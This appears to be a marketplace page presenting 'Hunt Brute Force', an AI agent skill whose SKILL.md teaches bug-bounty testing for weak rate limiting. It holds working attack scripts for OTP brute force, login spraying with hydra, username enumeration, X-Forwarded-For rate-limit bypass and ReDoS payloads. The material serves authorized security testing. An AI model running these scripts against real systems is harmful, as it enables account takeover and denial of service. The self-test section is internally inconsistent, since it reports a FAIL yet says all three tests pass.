Hunt Brute Force logo

Hunt Brute Force

CommunityPopular
uphiago
hunt-brute-force

Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA, IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical).

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namehunt-brute-force
Stars
1.3K
Forks
219
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Hunt Brute Force AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/uphiago/recon-skills/tree/main/redteam/hunt-brute-force
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/redteam/hunt-brute-force .claude/skills/hunt-brute-force
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Brute Force in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Brute Force on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Brute Force is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports. report_count is intentionally 0 — do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.

Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

Highest-value chains:

  • OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
  • Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
  • Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
  • Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
  • ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

CRITICAL: Four rate-limit states — do not collapse them

A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting skill that only checks for 429/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the full response (status, body, headers, latency, and downstream success):

StateSignalBrute still feasible?
Hard account lockoutaccount disabled after N fails; later correct creds also failNo (but lockout itself can be a DoS finding)
Soft IP throttle429 / increasing latency keyed on source IP onlyYes — bypass via header/IP rotation (Phase 4)
CAPTCHA injection200 but body switches to a CAPTCHA challenge after NMaybe — check if the verify endpoint enforces it server-side or if the API path skips it
Silent shadow-throttle200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become cannedThis is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false.

Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:

bash
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

Step-by-Step Hunting Methodology

Phase 1 — Login Rate Limit Test (classify, don't just count 429s)

bash
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)

Phase 2 — OTP / 2FA Brute Force

bash
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.

Phase 3 — Username / Email Enumeration (string AND status AND timing)

bash
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"

Phase 4 — IP / Source Rotation Bypass

bash
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl --max-time 30 --connect-timeout 10 -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("[REDACTED_IP], [REDACTED_IP]"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.

Phase 5 — Token Entropy (measure it, don't eyeball it)

bash
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.

Phase 6 — ReDoS Detection

bash
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

Automation

bash
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

Chain Table

FindingChain toImpact
No effective rate limit on OTP (full 10^6 reachable)MFA bypass → ATOCritical
Password-reset code brute + IP rotationReset → ATO (Instagram-2019 class)Critical
No rate limit on login + enumerationCredential stuffing with breach corpusHigh
IP bypass via X-Forwarded-For et al.Every per-IP limit on the app defeatedHigh
Predictable / low-entropy reset tokenToken guess within validity window → ATOHigh
ReDoS on a public input fieldSingle-request CPU exhaustion → DoSMedium–High
Hard lockout triggerable by attackerTargeted account DoS (lock victim out)Medium

Validation — false-positive discipline

Before writing the report, each must hold:

  • OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of 429. Shadow-throttle seed test passed (the known-good value still authenticates under burst load). Latency and body-size were monitored, not only status code.
  • Full-keyspace claim: severity is justified by the reachability math (throughput × code-lifetime vs 10^6), not by a 101-code probe. State the numbers in the report.
  • Enumeration: difference is reproducible across ≥20 samples and is a server-state difference (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…" message is NOT enumeration). For timing, compare medians of many samples, never single requests.
  • IP-rotation bypass: proven by toggling rotation off and showing the 429 returns. The delta IS the proof; one fast run alone is not.
  • Token entropy: backed by an actual measurement (Burp Sequencer effective-bits, ent, or a demonstrated counter/timestamp structure), not "looks short".
  • ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
  • Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)? A rate-limit gap with no reachable impact is informational, not Medium.

Severity:

  • Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
  • No login rate limit + working credential-stuffing/IP-bypass: High
  • Predictable security token (measured low entropy): High
  • Username/email enumeration alone: Low–Medium
  • ReDoS with reproducible meaningful server lag: Medium–High
  • Attacker-triggerable hard lockout (account DoS): Medium

Verification

Run this self-test to confirm brute-force readiness:

  1. FFUF rate-limited test — verify ffuf with rate limiting: PASS: ffuf rate limiting available

  2. Timing analysis — verify statistical analysis: FAIL

  3. Wordlist availability — confirm password lists: PASS: SecLists present

All 3 tests verify brute-force probing readiness.


Pitfalls

  • Testing without rate-limit awareness — brute-forcing without -rate and -t flags triggers account lockouts and IP bans. Always test with conservative settings first.
  • Single-account testing — brute-forcing your own test account proves nothing. Need two accounts to demonstrate the attack works against a victim.
  • HTTP status code alone as oracle — 200 vs 403 differential can be misleading. Always diff response bodies; some apps return 200 with different content for valid vs invalid credentials.
  • Response timing as sole evidence — single-sample timing differentials are jitter. Need n>=10 interleaved trials per group with 2-sigma threshold.
  • Lockout policy not documented — if the target has account lockout after N attempts, document it. Brute-force with lockout is high-risk and low-reward.
  • Token entropy claims without measurement — claiming a token is predictable requires actual measurement (Burp Sequencer effective-bits, ent, or demonstrated counter/timestamp structure).

Related Skills

  • hunt-ato — Brute-force bypass of OTP/MFA is a direct path to Account Takeover. Chain primitive: no rate limit on /verify-otp + 6-digit keyspace (10^6) → attacker enumerates OTP within code lifetime → authenticates as victim → full ATO without password.
  • hunt-mfa-bypass — Brute-force of the 6-digit OTP is one of 7 MFA bypass patterns (Pattern #4). Chain primitive: OTP validation endpoint accepts repeats without rate limit + code is 6 numeric digits → brute-force 000000–999999 → MFA bypass → ATO.
  • hunt-auth-bypass — Rate-limit gaps on password-reset or email-verify endpoints create auth bypass chains. Chain primitive: no rate limit on /password-reset token endpoint + short numeric token → brute-force reset token within its validity window → account takeover without user interaction.
  • hunt-http-smuggling — HTTP/2 Rapid Reset (CVE-2023-44487) is a rate-limit bypass of a different kind — resetting streams before the server counts them. Cross-ref for bypassing request-based rate limits via protocol-level amortization.
  • hunt-business-logic — Coupon, gift-card, and referral-code brute-forcing are business logic rate-limit gaps. Chain primitive: coupon validation on checkout has no rate limit → attacker enumerates valid coupon codes from a known prefix → unlimited discount on every purchase.
  • hunt-llm-ai — LLM-based login forms with "forgot password" features may have invisible rate-limit gaps in the backend. Chain primitive: AI chatbot accepts email input for password reset → no rate limit on the backend reset endpoint → token brute → ATO via AI feature.
  • security-arsenal — Reach for the Rate-Limit Bypass Tables (X-Forwarded-For rotation headers, X-Real-IP, X-Client-IP, CF-Connecting-IP, comma-separated IP chains, null-origin SANDBOXED iframe) and the HTTP/2 multiplex bypass methods.
  • triage-validation — Apply the 7-Question Gate before reporting. A rate-limit gap is only a finding if you can demonstrate what the brute reaches (authenticated session, OTP validated, password reset, financial discount). A login rate-limit gap without credential stuffing or a valid account list may be informational. Confirm the impact, not just the gap.
  • password-spray-methodology — Universal password spray pipeline across all protocols + error code differentials

Frequently asked questions

What does the Hunt Brute Force AI skill do?

Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA, IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical).

Why use Hunt Brute Force on TypingMind?

Because you install it once and use it with any model. Hunt Brute Force is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Brute Force in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/redteam/hunt-brute-force. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Brute Force?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Brute Force?

As many as you like. As long as a model supports skills, you can use Hunt Brute Force with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Brute Force AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇